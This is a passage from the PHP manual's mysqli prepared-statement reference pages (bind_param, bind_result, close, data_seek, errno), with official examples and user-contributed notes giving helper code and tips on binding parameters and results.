    if (strnatcmp(phpversion(),'5.3') >= 0) //Reference is required for PHP 5.3+
    {
        $refs = array();
        foreach($arr as $key => $value)
            $refs[$key] = &$arr[$key];
        return $refs;
    }
    return $arr;
}
?>

and changed my previous function from:

<?php
call_user_func_array(array($this->stmt, "bind_param"),$this->valores);
?>

to:

<?php
call_user_func_array(array($this->stmt, "bind_param"),refValues($this->valores));
?>

in this way my db functions keep working in php 5.2/5.3 servers.

I hope this help someone.
rejohns at nOsPaMpost dot harvard dot edu 10-Feb-2010 08:24
You can, in fact, use mysqli_bind_parameter to pass a NULL value to the database. simply create a variable and store the NULL value (see the manpage for it) to the variable and bind that. Works great for me anyway.
Miguel Hatrick 17-Jul-2009 08:14
This might be helpful for someone. I made a class to manage the parameters

Its used like this:

<?php
$stmt = $mysqli->prepare("CALL item_add(?, ?, ?, ?)");

$sp = new Statement_Parameter();

$sp->Add_Parameter('mydescription', Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myean',            Statement_Parameter_Type::$STATEMENT_TYPE_STRING);
$sp->Add_Parameter('myprice',        Statement_Parameter_Type::$STATEMENT_TYPE_DOUBLE);
$sp->Add_Parameter('myactive',        Statement_Parameter_Type::$STATEMENT_TYPE_INTEGER);

// call this to bind the parameters
$sp->Bind_Params($stmt);

//you can then modify the values as you wish
$sp->Set_Parameter('myactive',0);
$sp->Set_Parameter('mydescription','whatever');

/* execute prepared statement */
$stmt->execute();

class Statement_Parameter
{
    private $_array = array();

    public function __constructor()
    {
    }

    public function Add_Parameter($name, $type, $value = NULL)
    {
        $this->_array[$name] = array("type" => $type, "value" => $value);
    }

    public function Get_Type_String()
    {
        $types = "";

        foreach($this->_array as $name => $la)
            $types .= $la['type'];

        return $types;
    }

    public function Set_Parameter($name, $value)
    {
        if (isset($this->_array[$name]))
        {
            $this->_array[$name]["value"] = $value;
            return true;
        }
        return false;
    }

    public function Bind_Params(&$stmt)
    {
        $ar = Array();

        $ar[] = $this->Get_Type_String();

        foreach($this->_array as $name => $la)
            $ar[] = &$this->_array[$name]['value'];

        return call_user_func_array(array($stmt, 'bind_param'),$ar);
    }
}

class Statement_Parameter_Type
{
    public static $STATEMENT_TYPE_INTEGER = 'i';
    public static $STATEMENT_TYPE_DOUBLE =     'd';
    public static $STATEMENT_TYPE_STRING =     's';
    public static $STATEMENT_TYPE_BLOB =     'b';
}
?>
Kai Sellgren 12-Mar-2009 03:26
A few notes on this function.

If you specify type "i" (integer), the maximum value it allows you to have is 2^32-1 or 2147483647. So, if you are using UNSIGNED INTEGER or BIGINT in your database, then you are better off using "s" (string) for this.

Here's a quick summary:
(UN)SIGNED TINYINT: I
(UN)SIGNED SMALLINT: I
(UN)SIGNED MEDIUMINT: I
SIGNED INT: I
UNSIGNED INT: S
(UN)SIGNED BIGINT: S

(VAR)CHAR, (TINY/SMALL/MEDIUM/BIG)TEXT/BLOB should all have S.

FLOAT/REAL/DOUBLE (PRECISION) should all be D.

That advice was for MySQL. I have not looked into other database software.
Mahees 21-Feb-2009 10:34
///////////////////////////////

Im sure many of you may want to use this functionality.

spent about 3hours writing this, so maybe i can save somone else some time, you can break it up into smaller functions for reuse as you wish.

the mysqli stmt bind param (mysqli_stmt_bind_param) function only takes one variable at a time, so its difficult to pass in a few variables to fill in the placeholder space.

this allows mysqli prepared statements with variable arguments, one sql template with multiple placeholders to be prepared and excuted.

hope this helps somone,
Mahees.

///////////////////////////////

<?php
$uname = 'mahees';
$pass = 'mahees';

$userPassArr = DataAccess::fetch('SELECT * FROM users WHERE username = ? AND password = ?', $uname, $pass);
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

)
*/

$userPassArr = DataAccess::fetch('SELECT * FROM users');
print_r($userPassArr);

/*
Array
(
    [0] => Array
        (
            [id] => 1
            [username] => mahees
            [password] => mahees
        )

    [1] => Array
        (
            [id] => 4
            [username] => foo
            [password] => bar
        )

    [2] => Array
        (
            [id] => 5
            [username] => bar
            [password] => baz
        )

)
*/

//********* function in DataAccess class *********
//im sure this can be written better with more checks...but principle stands

    static function fetch() {
        $args = func_get_args();
        $sql = array_shift($args);
        $link = self::establish_db_conn();
        if (!$stmt = mysqli_prepare($link, $sql)) {
            self::close_db_conn();
            die('Please check your sql statement : unable to prepare');
        }
        $types = str_repeat('s', count($args));
        array_unshift($args, $types);
        array_unshift($args, $stmt);
        call_user_func_array('mysqli_stmt_bind_param', $args);

        mysqli_stmt_execute($stmt);

        $result = mysqli_stmt_result_metadata($stmt);
        $fields = array();
        while ($field = mysqli_fetch_field($result)) {
            $name = $field->name;
            $fields[$name] = &$$name;
        }
        array_unshift($fields, $stmt);
        call_user_func_array('mysqli_stmt_bind_result', $fields);

        array_shift($fields);
        $results = array();
        while (mysqli_stmt_fetch($stmt)) {
            $temp = array();
            foreach($fields as $key => $val) { $temp[$key] = $val; }
            array_push($results, $temp);
        }

        mysqli_free_result($result);
        mysqli_stmt_close($stmt);
        self::close_db_conn();

        return $results;
    }
?>
mark at x2software dot net 07-Sep-2008 02:26
I wanted to pass the parameters for several queries to a single function to fill them (insert / update having the same fields for example), while at the same time making the types array a bit easier to maintain when you've got a lot of parameters. Here's a simple solution I came up with:

<?php
function bindParameters(&$statement, &$params)
{
  $args   = array();
  $args[] = implode('', array_values($params));

  foreach ($params as $paramName => $paramType)
  {
    $args[] = &$params[$paramName];
    $params[$paramName] = null;
  }

  call_user_func_array(array(&$statement, 'bind_param'), $args);
}

// Usage:
$statement = $database->prepare('INSERT INTO test (value1, value2) VALUES (?, ?)');
$params    = array('param1' => 's',
                   'param2' => 'i');

bindParameters($statement, $params);

$params['param1'] = 'parameter test';
$params['param2'] = 42;

$statement->execute();
?>

Note that the types will be overwritten after a call to bindParameters to provide a sensible default (otherwise it will be used as the parameter value when you execute the statement), so you need to reinitialize the types if you want to bind it to another statement.
jette at nerdgirl dot dk 17-Jul-2008 01:46
I already have a database class that makes everything nice and easy. But when it came to preparing, binding and executing, I found it was a real challenge to boil things down.

But luckily I stumbled over a bug-report with a workaround, that pointed me in the right direction.: http://bugs.php.net/bug.php?id=43568

I now execute stored procedures (aka routines) like this:

<?php
$db = new myDb();
$db->execProcedure('call someProc(?,?)','ss',array('param1','param2'));
?>

And this is the code to make it happen:
(I extracted this example from a bigger context, but you probably get the idea)

<?php
class myDb extends mysqli {

  public function  __construct() {
    //Connection established here
  }

  public function execProcedure($call,$types,$params) {
    $stmt = $this->prepare($call);
    $bind_names[] = $types;
    for ($i=0; $i<count($params);$i++) {
      $bind_name = 'bind' . $i;
      $$bind_name = $params[$i];
      $bind_names[] = &$$bind_name;
    }
    $return = call_user_func_array(array($stmt,'bind_param'),$bind_names);
    $stmt->execute();
    $stmt->close();
  }
}
Anonymous 15-Dec-2007 10:24
It's worth noting that you have to bind all parameters in one fell swoop - you can't go through and call bind_param once for each.
flame 18-Feb-2007 08:44
Columns with type bigint need to be specified as type 'd' NOT 'i'.

Using 'i' results in large numbers (eg 3000169151) being truncated.

--
flame


Binds variables to a prepared statement for result storage

  • ? mysqli_stmt::bind_param
  • mysqli_stmt::close ?
  • PHP Manual
  • mysqli_stmt
  • Binds variables to a prepared statement for result storage

mysqli_stmt::bind_result

mysqli_stmt_bind_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::bind_result -- mysqli_stmt_bind_result — Binds variables to a prepared statement for result storage

说明

面向对象风格

public mysqli_stmt::bind_result(mixed &$var, mixed &...$vars): bool

过程化风格

mysqli_stmt_bind_result(mysqli_stmt $statement, mixed &$var, mixed &...$vars): bool

Binds columns in the result set to variables.

When mysqli_stmt_fetch() is called to fetch data, the MySQL client/server protocol places the data for the bound columns into the specified variables var/vars.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time mysqli_stmt_fetch() is called.

Note:

All columns must be bound after mysqli_stmt_execute() and prior to calling mysqli_stmt_fetch().

Note:

Depending on column types bound variables can silently change to the corresponding PHP type.

Tip

This function is useful for simple results. To retrieve iterable result set, or fetch each row as an array or object, use mysqli_stmt_get_result().

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

var

The first variable to be bound.

vars

Further variables to be bound.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* prepare statement */
$stmt = $mysqli->prepare("SELECT Code, Name FROM Country ORDER BY Name LIMIT 5");
$stmt->execute();

/* bind variables to prepared statement */
$stmt->bind_result($col1, $col2);

/* fetch values */
while ($stmt->fetch()) {
printf("%s %s\n", $col1, $col2);
}

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* prepare statement */
$stmt = mysqli_prepare($link, "SELECT Code, Name FROM Country ORDER BY Name LIMIT 5");
mysqli_stmt_execute($stmt);

/* bind variables to prepared statement */
mysqli_stmt_bind_result($stmt, $col1, $col2);

/* fetch values */
while (mysqli_stmt_fetch($stmt)) {
printf("%s %s\n", $col1, $col2);
}

以上示例的输出类似于：

AFG Afghanistan
ALB Albania
DZA Algeria
ASM American Samoa
AND Andorra

参见

  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_execute() - Executes a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_prepare() - Prepares an SQL statement for execution

User Contributed Notes

carloshritzmann at gmail dot com 25-Jan-2022 12:16
From PHP 7.4+, you can use the spread operator (...) to easily automate the process of assigning variables to the query statement, and to fetch data when executing a SELECT request using prepared statements.

However, the spread operator takes in consideration the size of the array. So it must be pre allocated before used in any context.

<?php
    $link = // Create DB Connection

    $query_text = "SELECT mission, year, report FROM table WHERE id=? AND name=?;";

    // Data to assign
    $types = "is";
    $param = [0, "John Titor"];

    // Prepare and Execute Statement
    $stmt = mysqli_stmt_prepare($link, $query_text);
    if (mysqli_stmt_execute($stmt)) {

        // We know we are going to retrieve 3 columns: Mission, Year and Report.
        $output = [0, 0, 0];

        // Behind the scenes, the spread operator gives this idea when used:
        // mysqli_stmt_bind_result($link, $output[0], $output[1], $output[2]);
        mysqli_stmt_bind_result($stmt, ...$output);

        // Fetch data
        while (mysqli_stmt_fetch($stmt)) {
            echo "Mission: " . $output[0] . "\n";
            echo "Year: " . $output[1] ."\n";
            echo "Report: " . $output[2] . "\n";
        }

    } else {
        echo "Error: Wrong Timeline\n";
    }

    // Close DB Connection
?>
kaspy at example dot com 05-Mar-2015 06:31
For those of you trying to bind rows into array,
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($arr['id'], $arr['name'], $arr['mail'], $arr['phone']);
while ($stmt->fetch()) {
    $outArr[] = $arr;
}
$stmt->close();
return $outArr;
?>
this will give you all the rows you asked for except that they would all be the same as the first one because of some gremlins in the background code (i've heard that PHP is trying to save memory here).

But this one works:
<?php
$stmt = $db->prepare('SELECT id, name, mail, phone, FROM contacts');
$stmt->execute();
$stmt->store_result();
$stmt->bind_result($a,$b,$c,$d);
while ($stmt->fetch()) {
    $outArr[] = ['id' => $a, 'name' => $b, 'mail' => $c, 'phone' => $d];
}
$stmt->close();
return $outArr;
?>
Just don't use arrays to bind results :)
Masterkitano 20-Feb-2015 03:53
for people who doesn't have the mysqlInd driver or for some reason just can't use the stmt->get_result, I've made this function which allows you to "mimic" the mysqli_result::fetch_assoc:

function fetchAssocStatement($stmt)
    {
        if($stmt->num_rows>0)
        {
            $result = array();
            $md = $stmt->result_metadata();
            $params = array();
            while($field = $md->fetch_field()) {
                $params[] = &$result[$field->name];
            }
            call_user_func_array(array($stmt, 'bind_result'), $params);
            $stmt->fetch();
            return $result;
        }

        return null;
    }

you can use it in a while sentence to fetch and return an assoc array from the statement (as long as the statement is open):
usage:
$statement = $mysqli->prepare($query));
$statement.execute();
while($rowAssocArray = fetchAssocStatement($statement))
{
    //do something
}

$statement.close();

hope this helps.
timchampion dot NOSPAM at gmail dot com 20-Feb-2012 07:29
Just wanted to make sure that all were aware of get_result for those needing the result in array format.

In the code sample, after execute(), perform a get_result() like this:

<?php

// ... this document's example code:

    $stmt->execute();

    /* instead of bind_result: */
    $result = $stmt->get_result();

    /* now you can fetch the results into an array - NICE */
    while ($myrow = $result->fetch_assoc()) {
        printf("%s %s\n", $myrow['Code'], $myrow['Name']);
    }

?>

This is much nicer when you have a dozen or more fields coming back from your query.  Hope this helps.  Also, as noted in the comments for get_result, it requires mysqlnd.
dev+php at alepe dot com 25-Jul-2011 10:31
According to the above documentation:
"Depending on column types bound variables can silently change to the corresponding PHP type. "

if you specify a field as int (tinyint, mediumint, etc.) with zerofill property, it will be converted (silently) to PHP integer (erasing the leading zeros). In order to keep those leading zeros, one solution is to specify the field as decimal.

Note that this only happens when using prepared statements and not when executing the query directly.
scragar at gmail dot com 16-Jun-2011 12:02
To clarify for anyone having problems with arrays, PHP will automatically pass arrays as references, cloning the array if needed in the event of setting or unsetting a part of it, changing a referenced variable does not trigger cloning.

This is done for efficiency, to clone an array containing this information you may either use a foreach loop, or set/unset a key. Techniques like array_values will also work provided you don't mind losing your keys.
nieprzeklinaj at gmail dot com 01-Feb-2011 01:02
I wrote a function that fetches all rows from a result set - either normal or prepared.

<?php
function fetch($result)
{
    $array = array();

    if($result instanceof mysqli_stmt)
    {
        $result->store_result();

        $variables = array();
        $data = array();
        $meta = $result->result_metadata();

        while($field = $meta->fetch_field())
            $variables[] = &$data[$field->name]; // pass by reference

        call_user_func_array(array($result, 'bind_result'), $variables);

        $i=0;
        while($result->fetch())
        {
            $array[$i] = array();
            foreach($data as $k=>$v)
                $array[$i][$k] = $v;
            $i++;

            // don't know why, but when I tried $array[] = $data, I got the same one result in all rows
        }
    }
    elseif($result instanceof mysqli_result)
    {
        while($row = $result->fetch_assoc())
            $array[] = $row;
    }

    return $array;
}
?>

Simply call it passing a result set or executed statement and you'll get all rows fetched.
quano 23-Dec-2010 04:19
If I have a longtext field in the result, the whole page will go blank, without giving me any errors what so ever. This is because PHP _crashes_. I've spent an entire morning figuring this out.

Apparently, if you have longtext present, you HAVE to call store_result before using bind_result.

http://bugs.php.net/bug.php?id=47928
pcc at pccglobal dot com 31-Jul-2010 07:06
If done properly, 'call_user_func_array()' works to bind variables to a result of multiple columns including BLOB columns.

EXAMPLE:

<?php
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ; // The column names.
foreach($column as $col_name)
{
  // 'fetch()' will assign fetched value to the variable '$data[$col_name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
?>

Here's the complete example.
WARNING: When using 'prepare' to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch

<?php
$database = "test" ;
$table = "test" ;
$column = array("fidentity", "fvarchar", "fdate", "ftinyblob") ;
$select_set = "`fidentity`, `fvarchar`, `fdate`, `ftinyblob`" ;
$mysqli = new mysqli("localhost", "root", $password, $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT $select_set FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
$data = array() ; // Array that accepts the data.
$params = array() ; // Parameter array passed to 'bind_result()'
foreach($column as $col_name)
{
  // Assign the fetched value to the variable '$data[$name]'
  $params[] =& $data[$col_name] ;
}
$res = call_user_func_array(array($stmt, "bind_result"), $params) ;
if(! $res)
{
  echo "bind_result() failed: " . $mysqli->error . "\n" ;
}
else
{
  $res = $stmt->fetch() ;
  if($res)
  {
      echo "<pre>" . htmlentities(print_r($data, true)) . "</pre>\n" ;
  }
  else
  {
    echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  }
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
Array (
  [fidentity] => 24
  [fvarchar] => the rain in spain
  [fdate] => 2010-07-31
  [ftinyblob] => GIF89a...(more BLOB data)
)
uramihsayibok, gmail, com 27-Jul-2009 01:35
A note to people to want to return an array of results - that is, an array of all the results from the query, not just one at a time.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

$results = array();
while ($mysqli_stmt_object->fetch()) {
    $results[] = $byref_array_for_fields;
}

?>
This will NOT work. $results will have a bunch of arrays, but each one will have a reference to $byref.

PHP is optimizing performance here: you aren't so much copying the $byref array into $results as you are *adding* it. That means $results will have a bunch of $byrefs - the same array repeated multiple times. (So what you see is that $results is all duplicates of the last item from the query.)

hamidhossain (01-Sep-2008) shows how to get around that: inside the loop that fetches results you also have to loop through the list of fields, copying them as you go. In effect, copying everything individually.

Personally, I'd rather use some kind of function that effectively duplicates an array than write my own code. Many of the built-in array functions don't work, apparently using references rather than copies, but a combination of array_map and create_function does.

<?php

// blah blah...
call_user_func_array(array($mysqli_stmt_object, "bind_result"), $byref_array_for_fields);

// returns a copy of a value
$copy = create_function('$a', 'return $a;');

$results = array();
while ($mysqli_stmt_object->fetch()) {
    // array_map will preserve keys when done here and this way
    $results[] = array_map($copy, $byref_array_for_fields);
}

?>

All these problems would go away if they just implemented a fetch_assoc or even fetch_array for prepared statements...
Miguel Hatrick 17-Jul-2009 09:18
Took some cool code from here and made a little class for those object oriented kind of guys

used like this:

<?php
// execute prepared statement
$stmt->execute();
$stmt->store_result();

//custom class :D bind to Statement Result mambo jambo!
$sr = new Statement_Result($stmt);

$stmt->fetch();
printf("ID: %d\n", $sr->Get('id') );

/////////////////////////////////

class Statement_Result
{
    private $_bindVarsArray = array();
    private $_results = array();

    public function __construct(&$stmt)
    {
        $meta = $stmt->result_metadata();

        while ($columnName = $meta->fetch_field())
            $this->_bindVarsArray[] = &$this->_results[$columnName->name];

        call_user_func_array(array($stmt, 'bind_result'), $this->_bindVarsArray);

        $meta->close();
    }

    public function Get_Array()
    {
        return $this->_results;
    }

    public function Get($column_name)
    {
        return $this->_results[$column_name];
    }
}
?>
atulkashyap1 at hotmail dot com 25-Apr-2009 03:31
bind_ result can also be used to return an array of variables from a function,
This took me a long time to figure out, so I would like to share this.

<?php
function extracting(){
  $query="SELECT topic, detail, date, tags
    FROM updates
    ORDER BY date DESC
    LIMIT 5 ";
  if($stmt = $this->conn->prepare($query)) {
    $stmt->execute();
    $stmt->bind_result($updates[0],$updates[1],$updates[2],$updates[3]);
    $i=0;
    while($stmt->fetch()){
      $i++;
      $name='t'.$i;
      $$name = array($updates[0],$updates[1],$updates[2],$updates[3]);
    }
    return array($t1,$t2,$t3,$t4,$t5,);
    $stmt->close();
  }
}
?>
hamidhossain at gmail dot com 01-Sep-2008 07:07
lot of people don't like how bind_result works with prepared statements! it requires you to pass long list of parameters which will be loaded with column value when the function being called.

To solve this, i used call_user_func_array function and result_metadata functions. which make easy and automatically returns an array of all columns results stored in an array with column names.

please don't forget to change setting variables with your own credentials:

<?php
$host = 'localhost';
$user = 'root';
$pass = '1234';
$data = 'test';

$mysqli = new mysqli($host, $user, $pass, $data);
/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

if ($stmt = $mysqli->prepare("SELECT * FROM sample WHERE t2 LIKE ?")) {
    $tt2 = '%';

    $stmt->bind_param("s", $tt2);
    $stmt->execute();

    $meta = $stmt->result_metadata();
    while ($field = $meta->fetch_field())
    {
        $params[] = &$row[$field->name];
    }

    call_user_func_array(array($stmt, 'bind_result'), $params);

    while ($stmt->fetch()) {
        foreach($row as $key => $val)
        {
            $c[$key] = $val;
        }
        $result[] = $c;
    }

    $stmt->close();
}
$mysqli->close();
print_r($result);
?>
bb at servertje dot nl 23-Feb-2008 03:24
Although inspired by an earlier post, this method could be added to any of your database objects. It's an object oriented implementation of an earlier post.

The method returns an array with objects representing a row. Each property represents a column and its value.

<?php
    private function getresult($stmt)
    {
      $result = array();

      $metadata = $stmt->result_metadata();
      $fields = $metadata->fetch_fields();

      for (;;)
      {
        $pointers = array();
        $row = new stdClass();

        $pointers[] = $stmt;
        foreach ($fields as $field)
        {
          $fieldname = $field->name;
          $pointers[] = &$row->$fieldname;
        }

        call_user_func_array(mysqli_stmt_bind_result, $pointers);

        if (!$stmt->fetch())
          break;

        $result[] = $row;
      }

      $metadata->free();

      return $result;
    }
?>
thejkwhosaysni at gmail dot com 19-Oct-2005 01:12
I've created these functions which will act like mysqli_fetch_array() and mysqli_fetch_object() but work with bound results.

<?php
    function fetch_object() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to stmt.
        $fieldnames[0] = &$this->stmt;
        $obj = new stdClass;
        while ($field = mysqli_fetch_field($data)) {
            $fn = $field->name; //get all the feild names
            $fieldnames[$count] = &$obj->$fn; //load the fieldnames into an object..
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $obj;
    }

    function fetch_array() {
        $data = mysqli_stmt_result_metadata($this->stmt);
        $count = 1; //start the count from 1. First value has to be a reference to the stmt. because bind_param requires the link to $stmt as the first param.
        $fieldnames[0] = &$this->stmt;
        while ($field = mysqli_fetch_field($data)) {
            $fieldnames[$count] = &$array[$field->name]; //load the fieldnames into an array.
            $count++;
        }
        call_user_func_array(mysqli_stmt_bind_result, $fieldnames);
        mysqli_stmt_fetch($this->stmt);
        return $array;

    }

?>

Hope this helps some people, I was puzzled by this for a while.
andrey at php dot net 07-Oct-2005 05:38
If you select LOBs use the following order of execution or you risk mysqli allocating more memory that actually used

1)prepare()
2)execute()
3)store_result()
4)bind_result()

If you skip 3) or exchange 3) and 4) then mysqli will allocate memory for the maximal length of the column which is 255 for tinyblob, 64k for blob(still ok), 16MByte for MEDIUMBLOB - quite a lot and 4G for LONGBLOB (good if you have so much memory). Queries which use this order a bit slower when there is a LOB but this is the price of not having memory exhaustion in seconds.
brad dot jackson at resiideo dot com 22-Mar-2005 09:10
A potential problem exists in binding result parameters from a prepared statement which reference large datatypes like mediumblobs.  One of our database tables contains a table of binary image data.  Our largest image in this table is around 50Kb, but even so the column is typed as a mediumblob to allow for files larger than 64Kb.  I spent a frustrating hour trying to figure out why mysqli_stmt_bind_result choked while trying to allocate 16MB of memory for what should have been at most a 50Kb result, until I realized the function is checking the column type first to find out how big a result _might_ be retrieved, and attempting to allocate that much memory to contain it.  My solution was to use a more basic mysqli_result() query.  Another option might have been to retype the image data column as blob (64Kb limit).


Closes a prepared statement

  • ? mysqli_stmt::bind_result
  • mysqli_stmt::__construct ?
  • PHP Manual
  • mysqli_stmt
  • Closes a prepared statement

mysqli_stmt::close

mysqli_stmt_close

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::close -- mysqli_stmt_close — Closes a prepared statement

说明

面向对象风格

public mysqli_stmt::close(): true

过程化风格

mysqli_stmt_close(mysqli_stmt $statement): true

Closes a prepared statement. mysqli_stmt_close() also deallocates the statement handle. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

总是返回 true。

更新日志

版本 | 说明
8.0.0 | This function now always returns true. Previously it returned false on failure.

参见

  • mysqli_prepare() - 预处理执行 SQL

User Contributed Notes

daniel dot kipp at web dot de 17-Jan-2006 09:06
if you are repeating an statement in an loop using bind_param and so on inside it for a larger operation. i thougt id would be good to clean it with stmt->close. but it broke always with an error after aprox. 250 operations . As i tried it with  stmt->reset it worked for me.


Constructs a new mysqli_stmt object

  • ? mysqli_stmt::close
  • mysqli_stmt::data_seek ?
  • PHP Manual
  • mysqli_stmt
  • Constructs a new mysqli_stmt object

mysqli_stmt::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::__construct — Constructs a new mysqli_stmt object

说明

public mysqli_stmt::__construct(mysqli $mysql, ?string $query = null)

This method constructs a new mysqli_stmt object.

参数

link

A valid mysqli object.

query

The query, as a string. If this parameter is null, then the constructor behaves identically to mysqli_stmt_init(), otherwise it behaves as per mysqli_prepare().

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

更新日志

版本 | 说明
8.0.0 | query is now nullable.

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_init() - 初始化语句并返回用于 mysqli_stmt_prepare（调用）的对象

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the result pointer to an arbitrary row in the buffered result

  • ? mysqli_stmt::__construct
  • mysqli_stmt::$errno ?
  • PHP Manual
  • mysqli_stmt
  • Adjusts the result pointer to an arbitrary row in the buffered result

mysqli_stmt::data_seek

mysqli_stmt_data_seek

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::data_seek -- mysqli_stmt_data_seek — Adjusts the result pointer to an arbitrary row in the buffered result

说明

面向对象风格

public mysqli_stmt::data_seek(int $offset): void

过程化风格

mysqli_stmt_data_seek(mysqli_stmt $statement, int $offset): void

This function moves the result set pointer of the buffered result set to an arbitrary row specified by the offset parameter.

This function works only on the buffered internal result set. mysqli_stmt_store_result() must be called prior to mysqli_stmt_data_seek().

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

offset

Must be between zero and the total number of rows minus one (0.. mysqli_stmt_num_rows() - 1).

返回值

没有返回值。

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$stmt = $mysqli->prepare($query);
$stmt->execute();

$stmt->bind_result($name, $code);

$stmt->store_result();

/* seek to row no. 400 */
$stmt->data_seek(399);

$stmt->fetch();

printf("City: %s Countrycode: %s\n", $name, $code);

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$stmt = mysqli_prepare($link, $query);

mysqli_stmt_execute($stmt);

mysqli_stmt_bind_result($stmt, $name, $code);

mysqli_stmt_store_result($stmt);

/* seek to row no. 400 */
mysqli_stmt_data_seek($stmt, 399);

mysqli_stmt_fetch($stmt);

printf("City: %s Countrycode: %s\n", $name, $code);

以上示例会输出：

City: Benin City  Countrycode: NGA

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_store_result() - Stores a result set in an internal buffer
  • mysqli_stmt_num_rows() - Returns the number of rows fetched from the server
  • mysqli_data_seek() - Adjusts the result pointer to an arbitrary row in the result

User Contributed Notes

phpnet at stuffonmylaptop dot com 23-Nov-2011 03:25
Although the documentation says you must provide a number between 0 and count - 1, you can actually supply a negative number, which appears to be cast to positive (such as in abs()).

For example:

<?php
$db = new mysqli('localhost', 'test', 'password', 'schema');
$db->multi_query("
            SELECT * FROM
            (
                SELECT 1 as 'position'
                UNION SELECT 2 as 'position'
                UNION SELECT 3 as 'position'
                UNION SELECT 4 as 'position'
                UNION SELECT 5 as 'position'
            ) as rows");

$result = $db->store_result();

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = $i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}

for ($i = 0; $i < $result->num_rows; $i++)
{
    $offset = -$i;
    $result->data_seek($offset);
    var_dump("Seek offset is: {$offset}", $result->fetch_object());
}


Returns the error code for the most recent statement call

  • ? mysqli_stmt::data_seek
  • mysqli_stmt::$error_list ?
  • PHP Manual
  • mysqli_stmt
  • Returns the error code for the most recent statement call

mysqli_stmt::$errno

mysqli_stmt_errno

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$errno -- mysqli_stmt_errno — Returns the error code for the most recent statement call

说明

面向对象风格

int $mysqli_stmt->errno;

过程化风格

mysqli_stmt_errno(mysqli_stmt $statement): int

Returns the error code for the most recently invoked statement function that can succeed or fail.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

An error code value. Zero means no error occurred.

示例

Example #1 面向对象风格

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* drop table */
$mysqli->query("DROP TABLE myCountry");

/* execute query */
$stmt->execute();

printf("Error: %d.\n", $stmt->errno);

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
